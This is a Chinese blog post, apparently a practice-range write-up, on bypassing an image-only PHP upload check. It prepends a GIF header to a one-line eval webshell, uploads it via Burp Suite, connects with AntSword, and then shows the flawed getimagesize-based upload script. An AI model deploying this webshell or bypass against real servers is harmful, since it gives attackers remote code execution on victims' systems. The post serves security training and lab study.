php一句話圖片馬上傳繞過


主頁

  

burpsuite截獲,修改后綴為php,末尾加上一句話馬(內容開頭一定要是圖片文件標志頭),上傳成功並返回路徑

<?php @eval($_POST['c']);?>

  

其他測試:

1、刪掉部分圖片內容時(圖片文件頭不對),無法上傳 

  

2、可以修改圖片文件頭為gif文件的標志頭:GIF87a或者GIF89a,都可以成功上傳

 

3、冰蠍不支持,不知道為什么,是不是不支持圖片馬?

 

 

 前面的圖片馬可打開瀏覽,但無法連接jpg格式馬

 

 使用蟻劍連接,密碼就是c,測試連接成功

 

找源代碼文件

  

順便看看上傳模塊源碼

<?php
//文件上傳漏洞演示腳本之內容驗證
header("Content-type: text/html; charset=utf-8"); 
error_reporting(0);
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
    if (file_exists($uploaddir)) {
        //print_r($_FILES);
        $file_name = $_FILES['upfile']['tmp_name'];
        //print_r(getimagesize($file_name));
        $allow_ext = array('image/png', 'image/gif', 'image/jpeg', 'image/bmp');
        $img_arr = getimagesize($file_name);
        //print_r($img_arr);
        $file_ext = $img_arr['mime'];
        if (in_array($file_ext, $allow_ext)) {
            if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
                echo '文件上傳成功,保存於:' . $uploaddir . $_FILES['upfile']['name'] . "\n";
            }
        } else {
            echo '此文件不允許上傳' . "\n";
        }
    } else {
        exit($uploaddir . '文件夾不存在,請手工創建!');
    }
    //print_r($_FILES);
}
?>

從源碼上分析看,如果上傳文件的mime類型file_ext在allow_ext(

'image/png', 'image/gif', 'image/jpeg', 'image/bmp'

)中,就移動上傳文件到/uploads/文件夾下

 

  

參考:

WebShell文件上傳漏洞分析溯源(第3題)_文件上傳_在線靶場_墨者學院_專注於網絡安全人才培養 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM